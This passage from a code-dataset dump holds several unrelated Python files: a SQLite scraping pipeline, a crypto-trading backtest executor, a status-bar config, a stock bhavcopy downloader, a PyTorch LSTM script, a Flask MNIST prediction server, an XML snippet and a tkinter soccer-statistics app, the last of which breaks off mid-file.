NOT EXISTS Company(id INTEGER PRIMARY KEY NOT NULL,\n            industryID INTEGER,\n            categoryID INTEGER,\n            classfiyID INTEGER,\n            name TEXT,\n            url TEXT,\n            legalRepresentative TEXT,\n            registedCapital TEXT,\n            businessModel TEXT,\n            employNum TEXT,\n            majorMarket TEXT,\n            customerType TEXT,\n            industry TEXT,\n            productionInfo TEXT,\n            industryInfo TEXT,\n            districtInfo TEXT,\n            relatedLink TEXT,\n            companyTag TEXT,\n            updateTime TEXT,\n            viewNum TEXT,\n            description TEXT,\n            contactPerson TEXT,\n            webSite TEXT,\n            postNum TEXT,\n            location TEXT,\n            phone TEXT,\n            fax TEXT \n            )''')\n \n    def storeCompanyInDb(self,item):                      \n        \"\"\" store information to Company table \"\"\"\n        self.cur.execute('''INSERT INTO Company(\n            industryID ,\n            categoryID ,\n            classfiyID ,\n            name ,\n            url ,\n            legalRepresentative ,\n            registedCapital ,\n            businessModel ,\n            employNum ,\n            majorMarket ,\n            customerType ,\n            industry ,\n            productionInfo ,\n            industryInfo ,\n            districtInfo ,\n            relatedLink ,\n            companyTag ,\n            updateTime ,\n            viewNum ,\n            description ,\n            contactPerson ,\n            webSite ,\n            postNum ,\n            location ,\n            phone ,\n            fax     \n            )\n            VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)''', \n            (\n            item.get('industryID'),\n            item.get('categoryID'),\n            item.get('classifyID'),\n            item.get('name',''),\n            item.get('url',''),\n            self.strip_tag(item.get('legalRepresentative')),\n            self.strip_tag(item.get('registedCapital')),\n            self.strip_tag(item.get('businessModel')),\n            self.strip_tag(item.get('employNum')),\n            self.strip_tag(item.get('majorMarket')),\n            self.strip_tag(item.get('customerType')),\n            self.strip_tag(item.get('industry')),\n            self.strip_tag(item.get('productionInfo')),\n            self.strip_tag(item.get('industryInfo')),\n            self.strip_tag(item.get('districtInfo')),\n            self.strip_tag(item.get('relatedLink')),\n            self.strip_tag(item.get('companyTag')),\n            self.strip_tag(item.get('updateTime')),\n            self.strip_tag(item.get('viewNum')),\n            self.strip_tag(item.get('description')),\n            self.strip_tag(item.get('contactPerson')),\n            self.strip_tag(item.get('webSite')),\n            self.strip_tag(item.get('postNum')),\n            self.strip_tag(item.get('location')),\n            self.strip_tag(item.get('phone')),\n            self.strip_tag(item.get('fax'))\n            ))\n        self.con.commit()\n\n    def strip_tag(self,html):\n        \"\"\"strip off the useless html tag such as <br>...\"\"\"\n        s = MLStripper()\n        s.feed(html)\n        return s.get_data()  \n\n    def __del__(self):\n        self.closeDB()\n\n    def closeDB(self):\n        self.con.close()\n\n\nclass MLStripper(HTMLParser):        \n    \"\"\"strip off the useless html tag such as <br>...\"\"\"\n    def __init__(self):\n        super().__init__()\n        self.reset()\n        self.fed = []\n    def handle_data(self,d):\n        self.fed.append(d)\n    def get_data(self):\n        return ''.join(self.fed)\n\n","sub_path":"yellowpage/yellowpageSpider-for-github/yellowpage/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":10450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"405650498","text":"import json\r\nimport asyncio\r\n\r\nfrom prettytable import PrettyTable\r\nfrom ..utils.CustomLogger import CustomLogger\r\nfrom bfxapi import Client\r\nfrom .DataServerWebsocket import DataServerWebsocket\r\nfrom ..Strategy.OrderManager import OrderManager\r\nimport websockets\r\n\r\nlogger = CustomLogger('HFExecutor', logLevel='INFO')\r\n\r\ndef _format_candle(mts, open, close, high, low, volume, symbol, tf):\r\n  return {\r\n    'mts': mts,\r\n    'open': open,\r\n    'close': close,\r\n    'high': high,\r\n    'low': low,\r\n    'volume':volume,\r\n    'symbol': symbol,\r\n    'tf': tf,\r\n  }\r\n\r\ndef _logTrades(positions):\r\n  x = PrettyTable()\r\n  x.field_names = [\"Date\", \"Symbol\", \"Direction\", \"Amount\", \"Price\", \"Fee\", \"P&L\", \"Label\"]\r\n\r\n  for pos in positions:\r\n    for i, t in enumerate(pos.trades):\r\n      lastItem = i+1 == len(pos.trades)\r\n      pl = round(pos.netProfitLoss, 2)\r\n      x.add_row([t.date, pos.symbol, t.direction, abs(t.amount), round(t.price, 2),\r\n                round(t.fee, 2), pl if lastItem else 0, t.tag])\r\n  print(x)\r\n\r\ndef _finish(strategy):\r\n  print (\"\\nBacktesting complete: \\n\")\r\n\r\n  profitLoss = 0\r\n  totalFees = 0\r\n  totalTrades = 0\r\n  totalVolume = 0\r\n  positions = strategy.closedPositions\r\n  minProfitLoss = 0\r\n  maxProfitLoss = 0\r\n  totalLossesCount = 0\r\n  totalLosses = 0\r\n  totalGainersCount = 0\r\n  totalGainers = 0\r\n\r\n  for pos in positions:\r\n    profitLoss += pos.profitLoss\r\n    totalFees += pos.totalFees\r\n    totalTrades += len(pos.trades)\r\n    totalVolume += pos.volume\r\n    if pos.netProfitLoss < 0:\r\n      totalLossesCount += 1\r\n      totalLosses += pos.netProfitLoss\r\n    else:\r\n      totalGainersCount += 1\r\n      totalGainers += pos.netProfitLoss\r\n    netP = pos.netProfitLoss\r\n    minProfitLoss = netP if netP < minProfitLoss else minProfitLoss\r\n    maxProfitLoss = netP if netP > maxProfitLoss else maxProfitLoss\r\n  \r\n  _logTrades(positions)\r\n  print('')\r\n\r\n  totalNetProfitLoss = profitLoss - totalFees\r\n  logger.info(\"Net P/L {} | Gross P/L {} | Vol {} | Fees {}\".format(\r\n    round(totalNetProfitLoss, 2), round(profitLoss, 2),\r\n    round(totalVolume, 2), round(totalFees, 2)))\r\n  logger.info(\"Min P/L {} | Max P/L {} | Avg P/L {}\".format(\r\n    round(minProfitLoss, 2), round(maxProfitLoss, 2), \r\n    round(totalNetProfitLoss / totalTrades, 2)))\r\n  logger.info(\"Losses {} (total {}) | Gains {} (total {})\".format(\r\n    totalLossesCount, round(totalLosses, 2), totalGainersCount,\r\n    round(totalGainers, 2)))\r\n  logger.info(\"{} Positions | {} Trades\".format(len(positions), totalTrades))\r\n\r\n####################################################\r\n#                Public Functions                  #\r\n####################################################\r\n\r\ndef backtestWithDataServer(strategy, fromDate, toDate, trades=True, candles=True,\r\n  tf='1m', candleFields=\"*\", tradeFields=\"*\", sync=True):\r\n  def end():\r\n    _finish(strategy)\r\n  try:\r\n    ws = DataServerWebsocket(symbol=strategy.symbol)\r\n    strategy.ws = ws\r\n    ws.on('done', end)\r\n    ws.on('new_candle', strategy._process_new_candle)\r\n    ws.on('new_trade', strategy._process_new_trade)\r\n    strategy.OrderManager = OrderManager(ws, backtesting=True, logLevel='INFO')\r\n    strategy.ws.run(fromDate, toDate, trades, candles, tf, candleFields, tradeFields, sync)\r\n  except websockets.ConnectionClosed:\r\n      pass \r\n\r\nasync def _process_candle_batch(strategy, candles):\r\n  for c in candles:\r\n    await strategy._process_new_candle(c)\r\n  async def call_finish():\r\n    await strategy.close_open_positions()\r\n    _finish(strategy)\r\n  # call via event emitter so it scheduled correctly\r\n  strategy.on(\"done\", call_finish)\r\n  await strategy._emit(\"done\")\r\n\r\ndef backtestOffline(strategy, file=None, candles=None, tf='1hr'):\r\n  strategy.OrderManager = OrderManager(None, backtesting=True, logLevel='INFO')\r\n  if candles:\r\n    return strategy._executeWithCandles(candles)\r\n  elif file:\r\n    with open(file, 'r') as f:\r\n      candleData = json.load(f)\r\n      candleData.reverse()\r\n      candles = map(lambda candleArray: _format_candle(\r\n        candleArray[0], candleArray[1], candleArray[2], candleArray[3],\r\n        candleArray[4], candleArray[5], strategy.symbol, tf\r\n      ), candleData)\r\n      # run async event loop\r\n      loop = asyncio.get_event_loop()\r\n      task = asyncio.ensure_future(_process_candle_batch(strategy, candles))\r\n      loop.run_until_complete(task)\r\n  else:\r\n    raise KeyError(\"Expected either 'candles' or 'file' in parameters.\")\r\n\r\ndef _start_bfx_ws(strategy, API_KEY=None, API_SECRET=None):\r\n  bfx = Client(\r\n    API_KEY,\r\n    API_SECRET,\r\n    manageOrderBooks=True\r\n  )\r\n  async def subscribe():\r\n    await bfx.ws.subscribe('candles', strategy.symbol, timeframe='1m')\r\n    await bfx.ws.subscribe('trades', strategy.symbol)\r\n    await bfx.ws.subscribe('book', strategy.symbol)\r\n  bfx.ws.on('connected', subscribe)\r\n  bfx.ws.on('new_candle', strategy._process_new_candle)\r\n  bfx.ws.on('new_trade', strategy._process_new_trade)\r\n  bfx.ws.run()\r\n\r\nasync def _seed_candles(strategy, bfxapi):\r\n  seed_candles = await bfxapi.rest.get_seed_candles(strategy.symbol)\r\n  candles = map(lambda candleArray: _format_candle(\r\n    candleArray[0], candleArray[1], candleArray[2], candleArray[3],\r\n    candleArray[4], candleArray[5], strategy.symbol, '1m'\r\n  ), seed_candles)\r\n  for candle in candles:\r\n    strategy._process_new_seed_candle(candle)\r\n\r\ndef backtestLive(strategy):\r\n  backtesting=True\r\n  bfx = Client()\r\n  strategy.OrderManager = OrderManager(bfx.ws, backtesting=backtesting, logLevel='INFO')\r\n  t = asyncio.ensure_future(_seed_candles(strategy, bfx))\r\n  asyncio.get_event_loop().run_until_complete(t)\r\n  _start_bfx_ws(strategy)\r\n\r\ndef executeLive(strategy, API_KEY, API_SECRET):\r\n  backtesting=False \r\n  bfx = Client(\r\n    API_KEY=API_KEY,\r\n    API_SECRET=API_SECRET\r\n  )\r\n  strategy.OrderManager = OrderManager(bfx.ws, backtesting=backtesting, logLevel='INFO')\r\n  t = asyncio.ensure_future(_seed_candles(strategy, bfx))\r\n  asyncio.get_event_loop().run_until_complete(t)\r\n  bfx.ws.run()\r\n  bfx.ws.on('new_candle', strategy._process_new_candle)\r\n  bfx.ws.on('new_trade', strategy._process_new_trade)\r\n","sub_path":"HFStrategy/utils/Executor.py","file_name":"Executor.py","file_ext":"py","file_size_in_byte":6110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"214086569","text":"# -*- coding: utf-8 -*-\n# file:     i3pystatus\n# author:   moparx     - http://moparx.com/configs\n# last mod: 08/16/2014 - 10:55 EDT\n# vim: set ai et fenc=utf-8 ft=python nu si sts=0 sw=4 ts=8 tw=0 :\n# ----------------------------------------------------------------------\n\nimport subprocess\n\nfrom i3pystatus import Status\nfrom i3pystatus.mail import maildir\n\nstatus = Status(standalone=True)\n\n#Clock\nstatus.register(\"clock\",\n    format = \"  %a, %b %_d %Y %I:%M%P \", )\n\n# Audio\nstatus.register(\"pulseaudio\",\n    format = \"  {volume} \",\n    format_muted = \"  muted {%volume} \", )\n\n# CPU temperature\nstatus.register(\"temp\",\n    format = \"  {temp:.0f}°C \", )\n\n# Average load\nstatus.register(\"load\",\n    format = \"  {avg1} {avg5} \",\n    critical_limit = 4, )\n\n# MPD status\n# status.register(\"mpd\",\n#     format = \"[ {status} {artist} - {title} ]\",\n#     status = {\n#         \"pause\": \"\",\n#         \"play\": \"\",\n#         \"stop\": \"\",\n#     }, )\n#\n# Email\n# status.register(\"mail\",\n#     format = \"  {unread} new email \",\n#     format_plural = \"  {unread} new emails \",\n#     color_unread = \"#00FF00\",\n#     email_client = \"urxvtc -e mutt\",\n#     backends = [\n#         maildir.MaildirMail(\n#             directory = \"/home/moparx/.mail/inbox\"\n#         )\n#     ])\n#\n\nstatus.run()\n","sub_path":"i3/i3status.config.py","file_name":"i3status.config.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"554356014","text":"import csv\nimport ntpath\nfrom zipfile import ZipFile\n\nimport requests\nfrom mechanize import Browser\nfrom tqdm import tqdm\n\nurl = \"https://www.bseindia.com/markets/MarketInfo/BhavCopy.aspx\"\nbr = Browser()\nbr.set_handle_robots(False)\nbr.open(url)\n\nmain_url = None\n\nfor link in br.links():\n    # print link.url\n\n    if (link.url.startswith('http://www.bseindia.com/download/BhavCopy/Equity/') or link.url.startswith(\n            'https://www.bseindia.com/download/BhavCopy/Equity/')) and (\n            link.url.endswith('_CSV.ZIP') or link.url.endswith('csv.zip')):\n        main_url = link.url\n\nfilename = ntpath.basename(main_url)\nresponse = requests.get(main_url, stream=True)\n\nwith open(filename, \"wb\") as handle:\n    for data in tqdm(response.iter_content()):\n        handle.write(data)\n\ncsv_filename = None\n\nwith ZipFile(filename, 'r') as zip:\n    # printing all the contents of the zip file\n    zip.printdir()\n\n    csv_filename = zip.NameToInfo.keys()[0]\n\n    # extracting all the files\n    print('Extracting all the files now...')\n    zip.extractall()\n    print('Done!')\n\nindex_of_SC_CODE = 0\nindex_of_SC_NAME = 1\nindex_of_OPEN = 4\nindex_of_HIGH = 5\nindex_of_LOW = 6\nindex_of_CLOSE = 7\n\nout_file = open('parsed_data.csv', 'a')\nout_file.truncate(0)\nheader = 'SC_CODE,SC_NAME,OPEN,HIGH,LOW,CLOSE\\n'\nout_file.write(header)\n\nwith open(csv_filename, 'r') as csvFile:\n    reader = csv.reader(csvFile)\n\n    reader = iter(reader)\n    next(reader)\n\n    for row in reader:\n        out_file.write('%s,%s,%s,%s,%s,%s\\n' % (\n            row[index_of_SC_CODE], row[index_of_SC_NAME], row[index_of_OPEN], row[index_of_HIGH],\n            row[index_of_LOW], row[index_of_CLOSE]))\n\ncsvFile.close()\nout_file.close()\n","sub_path":"hackerrank_hiring_challenge/webscraper_v3.py","file_name":"webscraper_v3.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"36600406","text":"import torch\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.utils.data as Data\n\n# 读取csv文件，并只使用第二列数据\n# data_csv=pd.read_csv('../CSV/data.csv',usecols=[1])# shape (145, 1)\ndata_csv = pd.read_csv('../CSV/test01.csv', usecols=[1])\n# data2_csv=data2_csv.dropna()\n# data2_csv=data2_csv.values\n# plt.plot(data2_csv)\n# plt.show()\n\n\n# 去除数据集中的na\ndata_csv = data_csv.dropna()\ndataset = data_csv.values  # shape (144, 1)\n# 转换为float32\ndataset = dataset.astype('float32')\n# 归一 新数据=（原数据-最小值）/（最大值-最小值）\n# max_value = np.max(dataset)\nmax_value = np.max(dataset)-np.min(dataset)\ndataset = list(map(lambda x: x-np.min(dataset) / max_value, dataset))  # list len:144\n\n\ndef create_dataset(dataset, look_back):\n    dataX, dataY = [], []\n    for i in range(len(dataset) - look_back):\n        dataX.append(dataset[i:i + look_back])\n        dataY.append(dataset[i + look_back])\n    return np.array(dataX), np.array(dataY)\n\n\ndataX, dataY = create_dataset(dataset, 2)\n# dataX.shape (142, 2, 1)\n# dataY.shape (142, 1)\n\ntrain_size = int(len(dataX) * 0.7)\ntrain_x = dataX[:train_size]\ntrain_y = dataY[:train_size]\n\ndataSet = Data.TensorDataset(data_tensor=torch.from_numpy(train_x), target_tensor=torch.from_numpy(train_y))\ndataloader = Data.DataLoader(dataset=dataSet, batch_size=64, shuffle=True)\ntest_x = dataX[train_size:]\ntest_y = dataY[train_size:]\n\n\nclass Lstm(nn.Module):\n    def __init__(self):\n        super(Lstm, self).__init__()\n        self.layer1 = nn.LSTM(input_size=2, hidden_size=6, num_layers=2,dropout=0.2)\n        self.layer2 = nn.Linear(6, 1)\n\n    def forward(self, x):\n        x, _ = self.layer1(x)\n        s, b, h = x.size()\n        x = x.view(-1, h)\n        x = self.layer2(x)\n        x.view(s, b, -1)\n        return x\n\n\nlstm = Lstm().cuda()\noptimizer = torch.optim.Adam(lstm.parameters(), 0.001)\nloss_func = nn.MSELoss().cuda()\nloss_list = []\nfor epoch in range(100):\n    print(epoch)\n    a = 0\n    for step, (b_x, b_y) in enumerate(dataloader):\n        # print('b_x:',b_x)\n        torch_x = b_x.view(-1, 1, 2)\n        torch_y = b_y.view(-1, 1, 1)\n        # print('torch_x',torch_x)\n        datax = Variable(torch_x).cuda()\n        datay = Variable(torch_y).cuda()\n        pre = lstm(datax)\n        loss = loss_func(pre, datay)\n        optimizer.zero_grad()\n        loss.backward()\n        loss_list.append(loss.data[0])\n        optimizer.step()\n        if (step % 10 == 0):\n            print(step)\n            print('loss:', loss)\n\nplt.figure()\nplt.plot(loss_list)\nplt.xlabel(\"step\")\nplt.ylabel(\"loss\")\nplt.figure()\nlstm.eval()\ntorch_testx = torch.from_numpy(test_x.reshape(-1, 1, 2))\nvar_testx = Variable(torch_testx).cuda()\nprediction = lstm(var_testx)\n\nplt.plot(test_y.reshape(-1, 1), color='red', label='real')\nplt.plot(prediction.cpu().data, color='blue', label='pre')\n\nplt.legend(loc='best')\nplt.show()\n","sub_path":"pytorch_step02/RNN_test2.py","file_name":"RNN_test2.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"45873743","text":"from flask import Flask, jsonify, request\nfrom flask_cors import CORS, cross_origin\nfrom urllib import parse\nimport sys\nimport os\n\n\nimport tensorflow as tf\n\nfrom tensorflow.keras.layers import Dense, Conv2D, MaxPool2D\nfrom tensorflow.keras.layers import Dropout, Flatten\nfrom tensorflow.keras.models import Sequential, model_from_json\nfrom tensorflow.keras.callbacks import ModelCheckpoint\nimport numpy as np\n\n\nimport warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\n\n\nbaseDir = os.path.dirname(os.path.abspath(__file__))\njsonPath = os.path.join(baseDir, 'model.json')\nh5Path = os.path.join(baseDir, 'model.h5')\n\ndef saveModel(model):\n    global jsonPath\n    global h5Path\n    \n    # 모델 저장\n    model_json = model.to_json()\n    with open(jsonPath, \"w\") as json_file : \n        json_file.write(model_json)\n    # 웨이트 저장\n    model.save_weights(h5Path)\n    \n    print(\"Saved model to disk\")\n    return True\n\ndef loadModel():\n    global h5Path\n    global jsonPath\n    \n    try:\n        with open(jsonPath, \"r\") as jsonFile:\n            jsonData = jsonFile.read()\n            loadedModel = model_from_json(jsonData)\n            loadedModel.load_weights(h5Path)\n        \n        print(\"Loaded model from disk\")\n        loadedModel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n        print(\"Loaded model compiled\")\n\n        return loadedModel\n    except Exception as e:\n        print(e)\n        return None\n\nmodel = loadModel()\nif not model:\n    np.random.seed(7)\n\n    img_rows = 28\n    img_cols = 28\n\n    (x_train, y_train), (x_test, y_test) = tf.keras.datasets.mnist.load_data()\n\n    input_shape = (img_rows, img_cols, 1)\n    x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1)\n    x_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1)\n\n    x_train = x_train.astype('float32') / 255.\n    x_test = x_test.astype('float32') / 255.\n\n    print('x_train shape:', x_train.shape)\n    print(x_train.shape[0], 'train samples')\n    print(x_test.shape[0], 'test samples')\n\n    batch_size = 128\n    num_classes = 10\n    epochs = 12\n\n    y_train = keras.utils.to_categorical(y_train, num_classes)\n    y_test = keras.utils.to_categorical(y_test, num_classes)\n\n    model = Sequential()\n    model.add(Conv2D(32, kernel_size=(3, 3),\n                    activation='relu',\n                    input_shape=input_shape))\n    model.add(Conv2D(64, (3, 3), activation='relu'))\n    model.add(MaxPool2D(pool_size=(2, 2)))\n    model.add(Dropout(0.25))\n    model.add(Flatten())\n    model.add(Dense(128, activation='relu'))\n    model.add(Dropout(0.5))\n    model.add(Dense(num_classes, activation='softmax'))\n    model.summary()\n\n    model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n    hist = model.fit(x_train, y_train,\n                    batch_size=batch_size,\n                    epochs=epochs,\n                    verbose=1, \n                    validation_data=(x_test, y_test))\n    saveModel(model)\n\napp = Flask(__name__)\ncors = CORS(app)\napp.config['CORS_HEADERS'] = 'Content-Type'\n\n@app.route('/api/predict', methods=['get'])\n@cross_origin()\ndef hello_world():\n    global model\n    px = request.args.get('px')\n    if not px:\n        return jsonify({'status':False})\n    l = parse.unquote(px).split(' ')\n    l = list(map(lambda x: int(x, 16)/15, l))\n    \n    img_rows = 28\n    img_cols = 28\n    l = np.array(l)\n    d = l.reshape(1, img_rows, img_cols, 1)\n\n    lab = model.predict_classes(d)\n    print(lab)\n    # lab = model._make_predict_function(d)\n    return jsonify({'status':True, 'label':int(lab[0])})\n\nif __name__ == '__main__':\n    app.run(port=3002, host='0.0.0.0')\n","sub_path":"portfolio/handwritin/flask/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"103673705","text":"import xml.etree.cElementTree as ct\nxmlele=ct.parse(\"F:/country_data.xml\")\ncountry=ct.Element('country')\ncountry.set('name','China')\nrank=ct.Element('rank')\nrank.text='1'\ncountry.append(rank)\nxmlele.getroot().append(country)\nprint(ct.tostring(xmlele.getroot()).decode())\nxmlele.write('sample.xml')\n","sub_path":"modifyXml.py","file_name":"modifyXml.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"469065490","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import messagebox\nimport sqlite3\n\nclass Player_Match:\n\n    sqlite_var = 0\n    theCursor = 0\n\n    def clear_entries(self):\n        self.Goal_entry.delete(0, \"end\")\n        self.Assist_entry.delete(0, \"end\")\n        self.Yellow_Card_entry.delete(0, \"end\")\n        self.Red_Card_entry.delete(0, \"end\")\n\n    def refresh(self):\n        self.update_tree()\n        self.clear_entries()\n        self.search_value.set(\"\")\n\n    def search_record(self):\n        try:\n            self.tree.delete(*self.tree.get_children())\n\n            query = \"\"\"SELECT  m.Adversary, m.Place, m.Result, m.Date, p.Name, pm.Goal, pm.Assist, pm.Yellow_Card, pm.Red_Card \n                       FROM Player_Match pm, Players p, Team t, Matches m\n                       WHERE pm.ID_matches = m.ID_matches and pm.ID_player = p.ID_player and (m.Adversary like ? or m.Place like ? or m.Date like ? or m.Tournament like ? or p.Name like ?)\n                       ORDER BY pm.ID_matches ASC\"\"\"\n            self.theCursor.execute(query, ('%' + self.search_value.get() + '%', '%' + self.search_value.get() + '%', '%' + self.search_value.get() + '%', '%' + self.search_value.get() + '%', '%' + self.search_value.get() + '%'))\n            self.result = self.theCursor.fetchall()\n\n            length = str(len(self.result))\n            if(length == 0):\n                messagebox.showinfo('Jogos', 'Não foi possível encontrar um resultado!')\n            if(length != '0'):\n                i = 0\n\n                for row in self.result:    \n                    if(i % 2 == 0):\n                        self.tree.insert(\"\", tk.END, values=row, tag='1')\n                    else:\n                        self.tree.insert(\"\", tk.END, values=row, tag='2')\n                    i = i + 1\n        except:\n            print(\"Não foi possível encontrar dados!\")\n\n    def update_record(self):\n        try:\n            query1 = \"SELECT ID_matches, ID_player FROM Matches, Players WHERE Date = ? and Name = ?\"\n            self.theCursor.execute(query1, (self.Date_value.get(), self.Name_value.get()))\n            res = self.theCursor.fetchall()\n            query2 = \"\"\"UPDATE Player_Match \n                        SET Goal = ?, Assist = ?, Yellow_Card = ?, Red_Card = ? \n                        WHERE ID_matches = ? and ID_player = ?;\"\"\"\n            self.theCursor.execute(query2, (self.Goal_value.get(), self.Assist_value.get(),  self.Yellow_Card_value.get(), self.Red_Card_value.get(), res[0][0], res[0][1]))\n            print('Dados atualizados!')\n        except sqlite3.IntegrityError:\n            messagebox.showerror('Jogos', 'Este jogo já se encontra no banco de dados!')\n        except:\n            print('Não foi possível atualizar os dados!')\n        finally:\n            if self.search_value.get() == \"\":\n                self.update_tree()\n            else:\n                self.search_record()\n            self.sqlite_var.commit()\n        \n\n    def selectItem(self, event):\n        self.curItem = self.tree.item(self.tree.focus())\n        print(self.curItem)\n\n        self.Goal_value.set(self.curItem['values'][5])\n        self.Assist_value.set(self.curItem['values'][6])\n        self.Yellow_Card_value.set(self.curItem['values'][7])\n        self.Red_Card_value.set(self.curItem['values'][8])\n        self.Date_value.set(self.curItem['values'][3])\n        self.Name_value.set(self.curItem['values'][4])\n\n    def update_tree(self):\n        try:\n            self.tree.delete(*self.tree.get_children())\n\n            self.theCursor.execute(\"\"\"SELECT  m.Adversary, m.Place, m.Result, m.Date, p.Name, pm.Goal, pm.Assist, pm.Yellow_Card, pm.Red_Card \n                                      FROM Player_Match pm, Players p, Team t, Matches m\n                                      WHERE pm.ID_matches = m.ID_matches and pm.ID_player = p.ID_player\n                                      ORDER BY pm.ID_matches ASC\"\"\")\n            self.rows = self.theCursor.fetchall()\n            i = 0\n\n            for row in self.rows:\n                if(i % 2 == 0):\n                    self.tree.insert(\"\", tk.END, values=row, tag='1')\n                else:\n                    self.tree.insert(\"\", tk.END, values=row, tag='2')\n                i = i + 1\n        except:\n            print('Não foi possível atualizar a árvore!')\n\n    def populate_Database(self):\n        \n        self.theCursor.execute(\"SELECT ID_matches FROM Matches\")\n        result_1 = self.theCursor.fetchall()\n        self.theCursor.execute(\"SELECT ID_player FROM Players\")\n        result_2 = self.theCursor.fetchall()\n\n        for i in result_1:\n            for j in result_2:\n                self.theCursor.execute(\"SELECT * FROM Player_Match WHERE ID_matches = ? and ID_player = ?\", (i[0], j[0]))\n                res = self.theCursor.fetchall()\n                if not res:\n                    self.theCursor.execute(\"INSERT INTO Player_Match (ID_matches, ID_player, Goal, Assist, Yellow_Card, Red_Card) VALUES (?,?,?,?,?,?)\", (i[0], j[0], 0, 0, 0, 0))\n        self.sqlite_var.commit()\n\n    def setup_db(self):\n        try:\n            self.sqlite_var = sqlite3.connect('Soccer Team.db')\n            self.theCursor = self.sqlite_var.cursor()\n        except:\n            print('Não foi possível conectar ao banco de dados!')\n            \n        try:\n            self.theCursor.execute(\"CREATE TABLE if not exists Player_Match(ID_player INTEGER NOT NULL, ID_matches INTEGER NOT NULL, Goal INTEGER DEFAULT 0, Assist INTEGER DEFAULT 0, Yellow_Card INTEGER DEFAULT 0, Red_Card INTEGER DEFAULT 0, PRIMARY KEY(ID_player, ID_matches), FOREIGN KEY (ID_player) REFERENCES Players (ID_player), FOREIGN KEY (ID_matches) REFERENCES Matches (ID_matches));\")\n            self.populate_Database()\n        except:\n            print('Não foi possível criar a tabela!')\n        finally:\n            self.sqlite_var.commit()\n            self.update_tree()\n    \n    def back(self):\n        self.pm.destroy()\n\n    def __init__(self):\n\n        self.pm = tk.Tk()\n        self.pm.title('Jogos')\n        self.pm.resizable(False, False)\n        self.pm.iconbitmap(\"futebol.ico\")\n        self.pm.geometry('+350+30')\n        self.pm['bg'] = '#4db8ff'\n\n        self.Date_value = tk.StringVar()\n        self.Name_value = tk.StringVar()\n\n        self.Goal = tk.Label(self.pm, text='Gol:', font='Ariel', fg='white', bg='#4db8ff')\n        self.Goal.grid(row=0, column=0, columnspan=3, sticky=tk.W, padx=10, pady=10)\n\n        self.Goal_value = tk.StringVar(self.pm, value=\"\")\n        self.Goal_entry = ttk.Entry(self.pm, font='Ariel, 10', textvariable=self.Goal_value)\n        self.Goal_entry.grid(row=0, column=1, sticky=tk.W + tk.E, columnspan=2, padx=10, pady=10)\n\n        self.Assist = tk.Label(self.pm, text='Assistência:', font='Ariel', fg='white', bg='#4db8ff')\n        self.Assist.grid(row=1, column=0, columnspan=3, sticky=tk.W, padx=10, pady=10)\n\n        self.Assist_value = tk.StringVar(self.pm, value=\"\")\n        self.Assist_entry = ttk.Entry(self.pm, font='Ariel, 10', textvariable=self.Assist_value)\n        self.Assist_entry.grid(row=1, column=1, sticky=tk.W + tk.E, columnspan=2, padx=10, pady=10)\n\n        self.Yellow_Card = tk.Label(self.pm, text='Cartão Amarelo:', font='Ariel', fg='white', bg='#4db8ff')\n        self.Yellow_Card.grid(row=2, column=0, columnspan=3, sticky=tk.W, padx=10, pady=10)\n\n        self.Yellow_Card_value = tk.StringVar(self.pm, value=\"\")\n        self.Yellow_Card_entry = ttk.Entry(self.pm, font='Ariel, 10', textvariable=self.Yellow_Card_value)\n        self.Yellow_Card_entry.grid(row=2, column=1, sticky=tk.W + tk.E, columnspan=2, padx=10, pady=10)\n\n        self.Red_Card = tk.Label(self.pm, text='Cartão Vermelho:', font='Ariel', fg='white', bg='#4db8ff')\n        self.Red_Card.grid(row=3, column=0, columnspan=3, sticky=tk.W, padx=10, pady=10)    \n\n        self.Red_Card_value = tk.StringVar(self.pm, value=\"\")\n        self.Red_Card_entry = ttk.Entry(self.pm, font='Ariel, 10', textvariable=self.Red_Card_value)\n        self.Red_Card_entry.grid(row=3, column=1, sticky=tk.W + tk.E, columnspan=2, padx=10, pady=10)\n\n        self.update_button = ttk.Button(self.pm, text='Atualizar', cursor=\"hand2\", command=self.update_record)\n        self.update_button.grid(row=0, column=3, padx=9, sticky=tk.W+tk.E)\n\n        self.tree = ttk.Treeview(self.pm, selectmode=\"browse\", column=(\"column1\", \"column2\", \"column3\", \"column4\", \"column5\", \"column6\", \"column7\", \"column8\", \"column9\"), show='headings')\n        self.tree.column(\"column1\", width=150, minwidth=100, stretch=tk.NO)\n        self.tree.heading(\"#1\", text=\"Adversário\")\n        self.tree.column(\"column2\", width=150, minwidth=100, stretch=tk.NO)\n        self.tree.heading(\"#2\", text=\"Local\")\n        self.tree.column(\"column3\", width=50, minwidth=100, stretch=tk.NO)\n        self.tree.heading(\"#3\", text=\"Resultado\")\n        self.tree.column(\"column4\", width=80, minwidth=100, stretch=tk.NO)\n        self.tree.heading(\"#4\", text=\"Data\")\n        self.tree.column(\"column5\", width=180, minwidth=100, stretch=tk.NO)\n        self.tree.heading(\"#5\", text=\"Jogador\")\n        self.tree.column(\"column6\", width=50, minwidth=100, stretch=tk.NO)\n        self.tree.heading(\"#6\", text=\"Gol\")\n        self.tree.column(\"column7\", width=50, minwidth=100, 